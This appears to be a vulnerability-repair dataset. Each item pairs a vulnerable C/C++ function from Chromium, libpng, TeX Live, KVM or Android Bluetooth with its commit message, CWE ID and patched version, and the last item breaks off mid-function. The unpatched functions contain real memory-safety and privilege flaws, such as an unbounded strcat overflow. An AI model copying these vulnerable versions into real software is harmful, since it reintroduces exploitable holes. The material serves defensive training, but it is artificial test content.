Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void BluetoothDeviceChromeOS::SetPinCode(const std::string& pincode) {
if (!agent_.get() || pincode_callback_.is_null())
return;
pincode_callback_.Run(SUCCESS, pincode);
pincode_callback_.Reset();
}
Commit Message: Refactor to support default Bluetooth pairing delegate
In order to support a default pairing delegate we need to move the agent
service provider delegate implementation from BluetoothDevice to
BluetoothAdapter while retaining the existing API.
BUG=338492
TEST=device_unittests, unit_tests, browser_tests
Review URL: https://codereview.chromium.org/148293003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@252216 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | void BluetoothDeviceChromeOS::SetPinCode(const std::string& pincode) {
if (!pairing_context_.get())
return;
pairing_context_->SetPinCode(pincode);
}
| 171,240 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool DataReductionProxySettings::IsDataReductionProxyManaged() {
return spdy_proxy_auth_enabled_.IsManaged();
}
Commit Message: Move IsDataSaverEnabledByUser to be a static method and use it
This method now officially becomes the source of truth that
everything in the code base eventually calls into to determine whether
or not DataSaver is enabled.
Bug: 934399
Change-Id: Iae837b710ace8cc3101188f79d02cbc2d4f0fd93
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1537242
Reviewed-by: Joshua Pawlicki <[email protected]>
Reviewed-by: Tarun Bansal <[email protected]>
Commit-Queue: Robert Ogden <[email protected]>
Cr-Commit-Position: refs/heads/master@{#643948}
CWE ID: CWE-119 | bool DataReductionProxySettings::IsDataReductionProxyManaged() {
const PrefService::Preference* pref =
GetOriginalProfilePrefs()->FindPreference(prefs::kDataSaverEnabled);
return pref && pref->IsManaged();
}
| 172,555 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void gamma_composition_test(png_modifier *pm,
PNG_CONST png_byte colour_type, PNG_CONST png_byte bit_depth,
PNG_CONST int palette_number,
PNG_CONST int interlace_type, PNG_CONST double file_gamma,
PNG_CONST double screen_gamma,
PNG_CONST int use_input_precision, PNG_CONST int do_background,
PNG_CONST int expand_16)
{
size_t pos = 0;
png_const_charp base;
double bg;
char name[128];
png_color_16 background;
/* Make up a name and get an appropriate background gamma value. */
switch (do_background)
{
default:
base = "";
bg = 4; /* should not be used */
break;
case PNG_BACKGROUND_GAMMA_SCREEN:
base = " bckg(Screen):";
bg = 1/screen_gamma;
break;
case PNG_BACKGROUND_GAMMA_FILE:
base = " bckg(File):";
bg = file_gamma;
break;
case PNG_BACKGROUND_GAMMA_UNIQUE:
base = " bckg(Unique):";
/* This tests the handling of a unique value, the math is such that the
* value tends to be <1, but is neither screen nor file (even if they
* match!)
*/
bg = (file_gamma + screen_gamma) / 3;
break;
#ifdef PNG_READ_ALPHA_MODE_SUPPORTED
case ALPHA_MODE_OFFSET + PNG_ALPHA_PNG:
base = " alpha(PNG)";
bg = 4; /* should not be used */
break;
case ALPHA_MODE_OFFSET + PNG_ALPHA_STANDARD:
base = " alpha(Porter-Duff)";
bg = 4; /* should not be used */
break;
case ALPHA_MODE_OFFSET + PNG_ALPHA_OPTIMIZED:
base = " alpha(Optimized)";
bg = 4; /* should not be used */
break;
case ALPHA_MODE_OFFSET + PNG_ALPHA_BROKEN:
base = " alpha(Broken)";
bg = 4; /* should not be used */
break;
#endif
}
/* Use random background values - the background is always presented in the
* output space (8 or 16 bit components).
*/
if (expand_16 || bit_depth == 16)
{
png_uint_32 r = random_32();
background.red = (png_uint_16)r;
background.green = (png_uint_16)(r >> 16);
r = random_32();
background.blue = (png_uint_16)r;
background.gray = (png_uint_16)(r >> 16);
/* In earlier libpng versions, those where DIGITIZE is set, any background
* gamma correction in the expand16 case was done using 8-bit gamma
* correction tables, resulting in larger errors. To cope with those
* cases use a 16-bit background value which will handle this gamma
* correction.
*/
# if DIGITIZE
if (expand_16 && (do_background == PNG_BACKGROUND_GAMMA_UNIQUE ||
do_background == PNG_BACKGROUND_GAMMA_FILE) &&
fabs(bg*screen_gamma-1) > PNG_GAMMA_THRESHOLD)
{
/* The background values will be looked up in an 8-bit table to do
* the gamma correction, so only select values which are an exact
* match for the 8-bit table entries:
*/
background.red = (png_uint_16)((background.red >> 8) * 257);
background.green = (png_uint_16)((background.green >> 8) * 257);
background.blue = (png_uint_16)((background.blue >> 8) * 257);
background.gray = (png_uint_16)((background.gray >> 8) * 257);
}
# endif
}
else /* 8 bit colors */
{
png_uint_32 r = random_32();
background.red = (png_byte)r;
background.green = (png_byte)(r >> 8);
background.blue = (png_byte)(r >> 16);
background.gray = (png_byte)(r >> 24);
}
background.index = 193; /* rgb(193,193,193) to detect errors */
if (!(colour_type & PNG_COLOR_MASK_COLOR))
{
/* Grayscale input, we do not convert to RGB (TBD), so we must set the
* background to gray - else libpng seems to fail.
*/
background.red = background.green = background.blue = background.gray;
}
pos = safecat(name, sizeof name, pos, "gamma ");
pos = safecatd(name, sizeof name, pos, file_gamma, 3);
pos = safecat(name, sizeof name, pos, "->");
pos = safecatd(name, sizeof name, pos, screen_gamma, 3);
pos = safecat(name, sizeof name, pos, base);
if (do_background < ALPHA_MODE_OFFSET)
{
/* Include the background color and gamma in the name: */
pos = safecat(name, sizeof name, pos, "(");
/* This assumes no expand gray->rgb - the current code won't handle that!
*/
if (colour_type & PNG_COLOR_MASK_COLOR)
{
pos = safecatn(name, sizeof name, pos, background.red);
pos = safecat(name, sizeof name, pos, ",");
pos = safecatn(name, sizeof name, pos, background.green);
pos = safecat(name, sizeof name, pos, ",");
pos = safecatn(name, sizeof name, pos, background.blue);
}
else
pos = safecatn(name, sizeof name, pos, background.gray);
pos = safecat(name, sizeof name, pos, ")^");
pos = safecatd(name, sizeof name, pos, bg, 3);
}
gamma_test(pm, colour_type, bit_depth, palette_number, interlace_type,
file_gamma, screen_gamma, 0/*sBIT*/, 0, name, use_input_precision,
0/*strip 16*/, expand_16, do_background, &background, bg);
}
Commit Message: DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
CWE ID: | static void gamma_composition_test(png_modifier *pm,
const png_byte colour_type, const png_byte bit_depth,
const int palette_number,
const int interlace_type, const double file_gamma,
const double screen_gamma,
const int use_input_precision, const int do_background,
const int expand_16)
{
size_t pos = 0;
png_const_charp base;
double bg;
char name[128];
png_color_16 background;
/* Make up a name and get an appropriate background gamma value. */
switch (do_background)
{
default:
base = "";
bg = 4; /* should not be used */
break;
case PNG_BACKGROUND_GAMMA_SCREEN:
base = " bckg(Screen):";
bg = 1/screen_gamma;
break;
case PNG_BACKGROUND_GAMMA_FILE:
base = " bckg(File):";
bg = file_gamma;
break;
case PNG_BACKGROUND_GAMMA_UNIQUE:
base = " bckg(Unique):";
/* This tests the handling of a unique value, the math is such that the
* value tends to be <1, but is neither screen nor file (even if they
* match!)
*/
bg = (file_gamma + screen_gamma) / 3;
break;
#ifdef PNG_READ_ALPHA_MODE_SUPPORTED
case ALPHA_MODE_OFFSET + PNG_ALPHA_PNG:
base = " alpha(PNG)";
bg = 4; /* should not be used */
break;
case ALPHA_MODE_OFFSET + PNG_ALPHA_STANDARD:
base = " alpha(Porter-Duff)";
bg = 4; /* should not be used */
break;
case ALPHA_MODE_OFFSET + PNG_ALPHA_OPTIMIZED:
base = " alpha(Optimized)";
bg = 4; /* should not be used */
break;
case ALPHA_MODE_OFFSET + PNG_ALPHA_BROKEN:
base = " alpha(Broken)";
bg = 4; /* should not be used */
break;
#endif
}
/* Use random background values - the background is always presented in the
* output space (8 or 16 bit components).
*/
if (expand_16 || bit_depth == 16)
{
png_uint_32 r = random_32();
background.red = (png_uint_16)r;
background.green = (png_uint_16)(r >> 16);
r = random_32();
background.blue = (png_uint_16)r;
background.gray = (png_uint_16)(r >> 16);
/* In earlier libpng versions, those where DIGITIZE is set, any background
* gamma correction in the expand16 case was done using 8-bit gamma
* correction tables, resulting in larger errors. To cope with those
* cases use a 16-bit background value which will handle this gamma
* correction.
*/
# if DIGITIZE
if (expand_16 && (do_background == PNG_BACKGROUND_GAMMA_UNIQUE ||
do_background == PNG_BACKGROUND_GAMMA_FILE) &&
fabs(bg*screen_gamma-1) > PNG_GAMMA_THRESHOLD)
{
/* The background values will be looked up in an 8-bit table to do
* the gamma correction, so only select values which are an exact
* match for the 8-bit table entries:
*/
background.red = (png_uint_16)((background.red >> 8) * 257);
background.green = (png_uint_16)((background.green >> 8) * 257);
background.blue = (png_uint_16)((background.blue >> 8) * 257);
background.gray = (png_uint_16)((background.gray >> 8) * 257);
}
# endif
}
else /* 8 bit colors */
{
png_uint_32 r = random_32();
background.red = (png_byte)r;
background.green = (png_byte)(r >> 8);
background.blue = (png_byte)(r >> 16);
background.gray = (png_byte)(r >> 24);
}
background.index = 193; /* rgb(193,193,193) to detect errors */
if (!(colour_type & PNG_COLOR_MASK_COLOR))
{
/* Because, currently, png_set_background is always called with
* 'need_expand' false in this case and because the gamma test itself
* doesn't cause an expand to 8-bit for lower bit depths the colour must
* be reduced to the correct range.
*/
if (bit_depth < 8)
background.gray &= (png_uint_16)((1U << bit_depth)-1);
/* Grayscale input, we do not convert to RGB (TBD), so we must set the
* background to gray - else libpng seems to fail.
*/
background.red = background.green = background.blue = background.gray;
}
pos = safecat(name, sizeof name, pos, "gamma ");
pos = safecatd(name, sizeof name, pos, file_gamma, 3);
pos = safecat(name, sizeof name, pos, "->");
pos = safecatd(name, sizeof name, pos, screen_gamma, 3);
pos = safecat(name, sizeof name, pos, base);
if (do_background < ALPHA_MODE_OFFSET)
{
/* Include the background color and gamma in the name: */
pos = safecat(name, sizeof name, pos, "(");
/* This assumes no expand gray->rgb - the current code won't handle that!
*/
if (colour_type & PNG_COLOR_MASK_COLOR)
{
pos = safecatn(name, sizeof name, pos, background.red);
pos = safecat(name, sizeof name, pos, ",");
pos = safecatn(name, sizeof name, pos, background.green);
pos = safecat(name, sizeof name, pos, ",");
pos = safecatn(name, sizeof name, pos, background.blue);
}
else
pos = safecatn(name, sizeof name, pos, background.gray);
pos = safecat(name, sizeof name, pos, ")^");
pos = safecatd(name, sizeof name, pos, bg, 3);
}
gamma_test(pm, colour_type, bit_depth, palette_number, interlace_type,
file_gamma, screen_gamma, 0/*sBIT*/, 0, name, use_input_precision,
0/*strip 16*/, expand_16, do_background, &background, bg);
}
| 173,610 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void t1_check_unusual_charstring(void)
{
char *p = strstr(t1_line_array, charstringname) + strlen(charstringname);
int i;
/*tex If no number follows |/CharStrings|, let's read the next line. */
if (sscanf(p, "%i", &i) != 1) {
strcpy(t1_buf_array, t1_line_array);
t1_getline();
strcat(t1_buf_array, t1_line_array);
strcpy(t1_line_array, t1_buf_array);
t1_line_ptr = eol(t1_line_array);
}
}
Commit Message: writet1 protection against buffer overflow
git-svn-id: svn://tug.org/texlive/trunk/Build/source@48697 c570f23f-e606-0410-a88d-b1316a301751
CWE ID: CWE-119 | static void t1_check_unusual_charstring(void)
{
char *p = strstr(t1_line_array, charstringname) + strlen(charstringname);
int i;
/*tex If no number follows |/CharStrings|, let's read the next line. */
if (sscanf(p, "%i", &i) != 1) {
strcpy(t1_buf_array, t1_line_array);
t1_getline();
alloc_array(t1_buf, strlen(t1_line_array) + strlen(t1_buf_array) + 1, T1_BUF_SIZE);
strcat(t1_buf_array, t1_line_array);
alloc_array(t1_line, strlen(t1_buf_array) + 1, T1_BUF_SIZE);
strcpy(t1_line_array, t1_buf_array);
t1_line_ptr = eol(t1_line_array);
}
}
| 169,021 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void write_version(
FILE *fp,
const char *fname,
const char *dirname,
xref_t *xref)
{
long start;
char *c, *new_fname, data;
FILE *new_fp;
start = ftell(fp);
/* Create file */
if ((c = strstr(fname, ".pdf")))
*c = '\0';
new_fname = malloc(strlen(fname) + strlen(dirname) + 16);
snprintf(new_fname, strlen(fname) + strlen(dirname) + 16,
"%s/%s-version-%d.pdf", dirname, fname, xref->version);
if (!(new_fp = fopen(new_fname, "w")))
{
ERR("Could not create file '%s'\n", new_fname);
fseek(fp, start, SEEK_SET);
free(new_fname);
return;
}
/* Copy original PDF */
fseek(fp, 0, SEEK_SET);
while (fread(&data, 1, 1, fp))
fwrite(&data, 1, 1, new_fp);
/* Emit an older startxref, refering to an older version. */
fprintf(new_fp, "\r\nstartxref\r\n%ld\r\n%%%%EOF", xref->start);
/* Clean */
fclose(new_fp);
free(new_fname);
fseek(fp, start, SEEK_SET);
}
Commit Message: Zero and sanity check all dynamic allocs.
This addresses the memory issues in Issue #6 expressed in
calloc_some.pdf and malloc_some.pdf
CWE ID: CWE-787 | static void write_version(
FILE *fp,
const char *fname,
const char *dirname,
xref_t *xref)
{
long start;
char *c, *new_fname, data;
FILE *new_fp;
start = ftell(fp);
/* Create file */
if ((c = strstr(fname, ".pdf")))
*c = '\0';
new_fname = safe_calloc(strlen(fname) + strlen(dirname) + 16);
snprintf(new_fname, strlen(fname) + strlen(dirname) + 16,
"%s/%s-version-%d.pdf", dirname, fname, xref->version);
if (!(new_fp = fopen(new_fname, "w")))
{
ERR("Could not create file '%s'\n", new_fname);
fseek(fp, start, SEEK_SET);
free(new_fname);
return;
}
/* Copy original PDF */
fseek(fp, 0, SEEK_SET);
while (fread(&data, 1, 1, fp))
fwrite(&data, 1, 1, new_fp);
/* Emit an older startxref, refering to an older version. */
fprintf(new_fp, "\r\nstartxref\r\n%ld\r\n%%%%EOF", xref->start);
/* Clean */
fclose(new_fp);
free(new_fname);
fseek(fp, start, SEEK_SET);
}
| 169,565 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void Document::open(Document* entered_document,
ExceptionState& exception_state) {
if (ImportLoader()) {
exception_state.ThrowDOMException(
kInvalidStateError, "Imported document doesn't support open().");
return;
}
if (!IsHTMLDocument()) {
exception_state.ThrowDOMException(kInvalidStateError,
"Only HTML documents support open().");
return;
}
if (throw_on_dynamic_markup_insertion_count_) {
exception_state.ThrowDOMException(
kInvalidStateError,
"Custom Element constructor should not use open().");
return;
}
if (entered_document) {
if (!GetSecurityOrigin()->IsSameSchemeHostPortAndSuborigin(
entered_document->GetSecurityOrigin())) {
exception_state.ThrowSecurityError(
"Can only call open() on same-origin documents.");
return;
}
SetSecurityOrigin(entered_document->GetSecurityOrigin());
if (this != entered_document) {
KURL new_url = entered_document->Url();
new_url.SetFragmentIdentifier(String());
SetURL(new_url);
}
cookie_url_ = entered_document->CookieURL();
}
open();
}
Commit Message: Inherit referrer and policy when creating a nested browsing context
BUG=763194
[email protected]
Change-Id: Ide3950269adf26ba221f573dfa088e95291ab676
Reviewed-on: https://chromium-review.googlesource.com/732652
Reviewed-by: Emily Stark <[email protected]>
Commit-Queue: Jochen Eisinger <[email protected]>
Cr-Commit-Position: refs/heads/master@{#511211}
CWE ID: CWE-20 | void Document::open(Document* entered_document,
ExceptionState& exception_state) {
if (ImportLoader()) {
exception_state.ThrowDOMException(
kInvalidStateError, "Imported document doesn't support open().");
return;
}
if (!IsHTMLDocument()) {
exception_state.ThrowDOMException(kInvalidStateError,
"Only HTML documents support open().");
return;
}
if (throw_on_dynamic_markup_insertion_count_) {
exception_state.ThrowDOMException(
kInvalidStateError,
"Custom Element constructor should not use open().");
return;
}
if (entered_document) {
if (!GetSecurityOrigin()->IsSameSchemeHostPortAndSuborigin(
entered_document->GetSecurityOrigin())) {
exception_state.ThrowSecurityError(
"Can only call open() on same-origin documents.");
return;
}
SetSecurityOrigin(entered_document->GetSecurityOrigin());
if (this != entered_document) {
KURL new_url = entered_document->Url();
new_url.SetFragmentIdentifier(String());
SetURL(new_url);
SetReferrerPolicy(entered_document->GetReferrerPolicy());
}
cookie_url_ = entered_document->CookieURL();
}
open();
}
| 172,691 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int __load_segment_descriptor(struct x86_emulate_ctxt *ctxt,
u16 selector, int seg, u8 cpl,
enum x86_transfer_type transfer,
struct desc_struct *desc)
{
struct desc_struct seg_desc, old_desc;
u8 dpl, rpl;
unsigned err_vec = GP_VECTOR;
u32 err_code = 0;
bool null_selector = !(selector & ~0x3); /* 0000-0003 are null */
ulong desc_addr;
int ret;
u16 dummy;
u32 base3 = 0;
memset(&seg_desc, 0, sizeof seg_desc);
if (ctxt->mode == X86EMUL_MODE_REAL) {
/* set real mode segment descriptor (keep limit etc. for
* unreal mode) */
ctxt->ops->get_segment(ctxt, &dummy, &seg_desc, NULL, seg);
set_desc_base(&seg_desc, selector << 4);
goto load;
} else if (seg <= VCPU_SREG_GS && ctxt->mode == X86EMUL_MODE_VM86) {
/* VM86 needs a clean new segment descriptor */
set_desc_base(&seg_desc, selector << 4);
set_desc_limit(&seg_desc, 0xffff);
seg_desc.type = 3;
seg_desc.p = 1;
seg_desc.s = 1;
seg_desc.dpl = 3;
goto load;
}
rpl = selector & 3;
/* NULL selector is not valid for TR, CS and SS (except for long mode) */
if ((seg == VCPU_SREG_CS
|| (seg == VCPU_SREG_SS
&& (ctxt->mode != X86EMUL_MODE_PROT64 || rpl != cpl))
|| seg == VCPU_SREG_TR)
&& null_selector)
goto exception;
/* TR should be in GDT only */
if (seg == VCPU_SREG_TR && (selector & (1 << 2)))
goto exception;
if (null_selector) /* for NULL selector skip all following checks */
goto load;
ret = read_segment_descriptor(ctxt, selector, &seg_desc, &desc_addr);
if (ret != X86EMUL_CONTINUE)
return ret;
err_code = selector & 0xfffc;
err_vec = (transfer == X86_TRANSFER_TASK_SWITCH) ? TS_VECTOR :
GP_VECTOR;
/* can't load system descriptor into segment selector */
if (seg <= VCPU_SREG_GS && !seg_desc.s) {
if (transfer == X86_TRANSFER_CALL_JMP)
return X86EMUL_UNHANDLEABLE;
goto exception;
}
if (!seg_desc.p) {
err_vec = (seg == VCPU_SREG_SS) ? SS_VECTOR : NP_VECTOR;
goto exception;
}
dpl = seg_desc.dpl;
switch (seg) {
case VCPU_SREG_SS:
/*
* segment is not a writable data segment or segment
* selector's RPL != CPL or segment selector's RPL != CPL
*/
if (rpl != cpl || (seg_desc.type & 0xa) != 0x2 || dpl != cpl)
goto exception;
break;
case VCPU_SREG_CS:
if (!(seg_desc.type & 8))
goto exception;
if (seg_desc.type & 4) {
/* conforming */
if (dpl > cpl)
goto exception;
} else {
/* nonconforming */
if (rpl > cpl || dpl != cpl)
goto exception;
}
/* in long-mode d/b must be clear if l is set */
if (seg_desc.d && seg_desc.l) {
u64 efer = 0;
ctxt->ops->get_msr(ctxt, MSR_EFER, &efer);
if (efer & EFER_LMA)
goto exception;
}
/* CS(RPL) <- CPL */
selector = (selector & 0xfffc) | cpl;
break;
case VCPU_SREG_TR:
if (seg_desc.s || (seg_desc.type != 1 && seg_desc.type != 9))
goto exception;
old_desc = seg_desc;
seg_desc.type |= 2; /* busy */
ret = ctxt->ops->cmpxchg_emulated(ctxt, desc_addr, &old_desc, &seg_desc,
sizeof(seg_desc), &ctxt->exception);
if (ret != X86EMUL_CONTINUE)
return ret;
break;
case VCPU_SREG_LDTR:
if (seg_desc.s || seg_desc.type != 2)
goto exception;
break;
default: /* DS, ES, FS, or GS */
/*
* segment is not a data or readable code segment or
* ((segment is a data or nonconforming code segment)
* and (both RPL and CPL > DPL))
*/
if ((seg_desc.type & 0xa) == 0x8 ||
(((seg_desc.type & 0xc) != 0xc) &&
(rpl > dpl && cpl > dpl)))
goto exception;
break;
}
if (seg_desc.s) {
/* mark segment as accessed */
if (!(seg_desc.type & 1)) {
seg_desc.type |= 1;
ret = write_segment_descriptor(ctxt, selector,
&seg_desc);
if (ret != X86EMUL_CONTINUE)
return ret;
}
} else if (ctxt->mode == X86EMUL_MODE_PROT64) {
ret = ctxt->ops->read_std(ctxt, desc_addr+8, &base3,
sizeof(base3), &ctxt->exception);
if (ret != X86EMUL_CONTINUE)
return ret;
if (is_noncanonical_address(get_desc_base(&seg_desc) |
((u64)base3 << 32)))
return emulate_gp(ctxt, 0);
}
load:
ctxt->ops->set_segment(ctxt, selector, &seg_desc, base3, seg);
if (desc)
*desc = seg_desc;
return X86EMUL_CONTINUE;
exception:
return emulate_exception(ctxt, err_vec, err_code, true);
}
Commit Message: KVM: x86: fix emulation of "MOV SS, null selector"
This is CVE-2017-2583. On Intel this causes a failed vmentry because
SS's type is neither 3 nor 7 (even though the manual says this check is
only done for usable SS, and the dmesg splat says that SS is unusable!).
On AMD it's worse: svm.c is confused and sets CPL to 0 in the vmcb.
The fix fabricates a data segment descriptor when SS is set to a null
selector, so that CPL and SS.DPL are set correctly in the VMCS/vmcb.
Furthermore, only allow setting SS to a NULL selector if SS.RPL < 3;
this in turn ensures CPL < 3 because RPL must be equal to CPL.
Thanks to Andy Lutomirski and Willy Tarreau for help in analyzing
the bug and deciphering the manuals.
Reported-by: Xiaohan Zhang <[email protected]>
Fixes: 79d5b4c3cd809c770d4bf9812635647016c56011
Cc: [email protected]
Signed-off-by: Paolo Bonzini <[email protected]>
CWE ID: | static int __load_segment_descriptor(struct x86_emulate_ctxt *ctxt,
u16 selector, int seg, u8 cpl,
enum x86_transfer_type transfer,
struct desc_struct *desc)
{
struct desc_struct seg_desc, old_desc;
u8 dpl, rpl;
unsigned err_vec = GP_VECTOR;
u32 err_code = 0;
bool null_selector = !(selector & ~0x3); /* 0000-0003 are null */
ulong desc_addr;
int ret;
u16 dummy;
u32 base3 = 0;
memset(&seg_desc, 0, sizeof seg_desc);
if (ctxt->mode == X86EMUL_MODE_REAL) {
/* set real mode segment descriptor (keep limit etc. for
* unreal mode) */
ctxt->ops->get_segment(ctxt, &dummy, &seg_desc, NULL, seg);
set_desc_base(&seg_desc, selector << 4);
goto load;
} else if (seg <= VCPU_SREG_GS && ctxt->mode == X86EMUL_MODE_VM86) {
/* VM86 needs a clean new segment descriptor */
set_desc_base(&seg_desc, selector << 4);
set_desc_limit(&seg_desc, 0xffff);
seg_desc.type = 3;
seg_desc.p = 1;
seg_desc.s = 1;
seg_desc.dpl = 3;
goto load;
}
rpl = selector & 3;
/* TR should be in GDT only */
if (seg == VCPU_SREG_TR && (selector & (1 << 2)))
goto exception;
/* NULL selector is not valid for TR, CS and (except for long mode) SS */
if (null_selector) {
if (seg == VCPU_SREG_CS || seg == VCPU_SREG_TR)
goto exception;
if (seg == VCPU_SREG_SS) {
if (ctxt->mode != X86EMUL_MODE_PROT64 || rpl != cpl)
goto exception;
/*
* ctxt->ops->set_segment expects the CPL to be in
* SS.DPL, so fake an expand-up 32-bit data segment.
*/
seg_desc.type = 3;
seg_desc.p = 1;
seg_desc.s = 1;
seg_desc.dpl = cpl;
seg_desc.d = 1;
seg_desc.g = 1;
}
/* Skip all following checks */
goto load;
}
ret = read_segment_descriptor(ctxt, selector, &seg_desc, &desc_addr);
if (ret != X86EMUL_CONTINUE)
return ret;
err_code = selector & 0xfffc;
err_vec = (transfer == X86_TRANSFER_TASK_SWITCH) ? TS_VECTOR :
GP_VECTOR;
/* can't load system descriptor into segment selector */
if (seg <= VCPU_SREG_GS && !seg_desc.s) {
if (transfer == X86_TRANSFER_CALL_JMP)
return X86EMUL_UNHANDLEABLE;
goto exception;
}
if (!seg_desc.p) {
err_vec = (seg == VCPU_SREG_SS) ? SS_VECTOR : NP_VECTOR;
goto exception;
}
dpl = seg_desc.dpl;
switch (seg) {
case VCPU_SREG_SS:
/*
* segment is not a writable data segment or segment
* selector's RPL != CPL or segment selector's RPL != CPL
*/
if (rpl != cpl || (seg_desc.type & 0xa) != 0x2 || dpl != cpl)
goto exception;
break;
case VCPU_SREG_CS:
if (!(seg_desc.type & 8))
goto exception;
if (seg_desc.type & 4) {
/* conforming */
if (dpl > cpl)
goto exception;
} else {
/* nonconforming */
if (rpl > cpl || dpl != cpl)
goto exception;
}
/* in long-mode d/b must be clear if l is set */
if (seg_desc.d && seg_desc.l) {
u64 efer = 0;
ctxt->ops->get_msr(ctxt, MSR_EFER, &efer);
if (efer & EFER_LMA)
goto exception;
}
/* CS(RPL) <- CPL */
selector = (selector & 0xfffc) | cpl;
break;
case VCPU_SREG_TR:
if (seg_desc.s || (seg_desc.type != 1 && seg_desc.type != 9))
goto exception;
old_desc = seg_desc;
seg_desc.type |= 2; /* busy */
ret = ctxt->ops->cmpxchg_emulated(ctxt, desc_addr, &old_desc, &seg_desc,
sizeof(seg_desc), &ctxt->exception);
if (ret != X86EMUL_CONTINUE)
return ret;
break;
case VCPU_SREG_LDTR:
if (seg_desc.s || seg_desc.type != 2)
goto exception;
break;
default: /* DS, ES, FS, or GS */
/*
* segment is not a data or readable code segment or
* ((segment is a data or nonconforming code segment)
* and (both RPL and CPL > DPL))
*/
if ((seg_desc.type & 0xa) == 0x8 ||
(((seg_desc.type & 0xc) != 0xc) &&
(rpl > dpl && cpl > dpl)))
goto exception;
break;
}
if (seg_desc.s) {
/* mark segment as accessed */
if (!(seg_desc.type & 1)) {
seg_desc.type |= 1;
ret = write_segment_descriptor(ctxt, selector,
&seg_desc);
if (ret != X86EMUL_CONTINUE)
return ret;
}
} else if (ctxt->mode == X86EMUL_MODE_PROT64) {
ret = ctxt->ops->read_std(ctxt, desc_addr+8, &base3,
sizeof(base3), &ctxt->exception);
if (ret != X86EMUL_CONTINUE)
return ret;
if (is_noncanonical_address(get_desc_base(&seg_desc) |
((u64)base3 << 32)))
return emulate_gp(ctxt, 0);
}
load:
ctxt->ops->set_segment(ctxt, selector, &seg_desc, base3, seg);
if (desc)
*desc = seg_desc;
return X86EMUL_CONTINUE;
exception:
return emulate_exception(ctxt, err_vec, err_code, true);
}
| 168,447 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void rfc_process_mx_message(tRFC_MCB* p_mcb, BT_HDR* p_buf) {
uint8_t* p_data = (uint8_t*)(p_buf + 1) + p_buf->offset;
MX_FRAME* p_rx_frame = &rfc_cb.rfc.rx_frame;
uint16_t length = p_buf->len;
uint8_t ea, cr, mx_len;
bool is_command;
p_rx_frame->ea = *p_data & RFCOMM_EA;
p_rx_frame->cr = (*p_data & RFCOMM_CR_MASK) >> RFCOMM_SHIFT_CR;
p_rx_frame->type = *p_data++ & ~(RFCOMM_CR_MASK | RFCOMM_EA_MASK);
if (!p_rx_frame->ea || !length) {
LOG(ERROR) << __func__
<< ": Invalid MX frame ea=" << std::to_string(p_rx_frame->ea)
<< ", len=" << length << ", bd_addr=" << p_mcb->bd_addr;
osi_free(p_buf);
return;
}
length--;
is_command = p_rx_frame->cr;
ea = *p_data & RFCOMM_EA;
mx_len = *p_data++ >> RFCOMM_SHIFT_LENGTH1;
length--;
if (!ea) {
mx_len += *p_data++ << RFCOMM_SHIFT_LENGTH2;
length--;
}
if (mx_len != length) {
LOG(ERROR) << __func__ << ": Bad MX frame, p_mcb=" << p_mcb
<< ", bd_addr=" << p_mcb->bd_addr;
osi_free(p_buf);
return;
}
RFCOMM_TRACE_DEBUG("%s: type=%d, p_mcb=%p", __func__, p_rx_frame->type,
p_mcb);
switch (p_rx_frame->type) {
case RFCOMM_MX_PN:
if (length != RFCOMM_MX_PN_LEN) {
LOG(ERROR) << __func__ << ": Invalid PN length, p_mcb=" << p_mcb
<< ", bd_addr=" << p_mcb->bd_addr;
break;
}
p_rx_frame->dlci = *p_data++ & RFCOMM_PN_DLCI_MASK;
p_rx_frame->u.pn.frame_type = *p_data & RFCOMM_PN_FRAME_TYPE_MASK;
p_rx_frame->u.pn.conv_layer = *p_data++ & RFCOMM_PN_CONV_LAYER_MASK;
p_rx_frame->u.pn.priority = *p_data++ & RFCOMM_PN_PRIORITY_MASK;
p_rx_frame->u.pn.t1 = *p_data++;
p_rx_frame->u.pn.mtu = *p_data + (*(p_data + 1) << 8);
p_data += 2;
p_rx_frame->u.pn.n2 = *p_data++;
p_rx_frame->u.pn.k = *p_data++ & RFCOMM_PN_K_MASK;
if (!p_rx_frame->dlci || !RFCOMM_VALID_DLCI(p_rx_frame->dlci) ||
(p_rx_frame->u.pn.mtu < RFCOMM_MIN_MTU) ||
(p_rx_frame->u.pn.mtu > RFCOMM_MAX_MTU)) {
LOG(ERROR) << __func__ << ": Bad PN frame, p_mcb=" << p_mcb
<< ", bd_addr=" << p_mcb->bd_addr;
break;
}
osi_free(p_buf);
rfc_process_pn(p_mcb, is_command, p_rx_frame);
return;
case RFCOMM_MX_TEST:
if (!length) break;
p_rx_frame->u.test.p_data = p_data;
p_rx_frame->u.test.data_len = length;
p_buf->offset += 2;
p_buf->len -= 2;
if (is_command)
rfc_send_test(p_mcb, false, p_buf);
else
rfc_process_test_rsp(p_mcb, p_buf);
return;
case RFCOMM_MX_FCON:
if (length != RFCOMM_MX_FCON_LEN) break;
osi_free(p_buf);
rfc_process_fcon(p_mcb, is_command);
return;
case RFCOMM_MX_FCOFF:
if (length != RFCOMM_MX_FCOFF_LEN) break;
osi_free(p_buf);
rfc_process_fcoff(p_mcb, is_command);
return;
case RFCOMM_MX_MSC:
ea = *p_data & RFCOMM_EA;
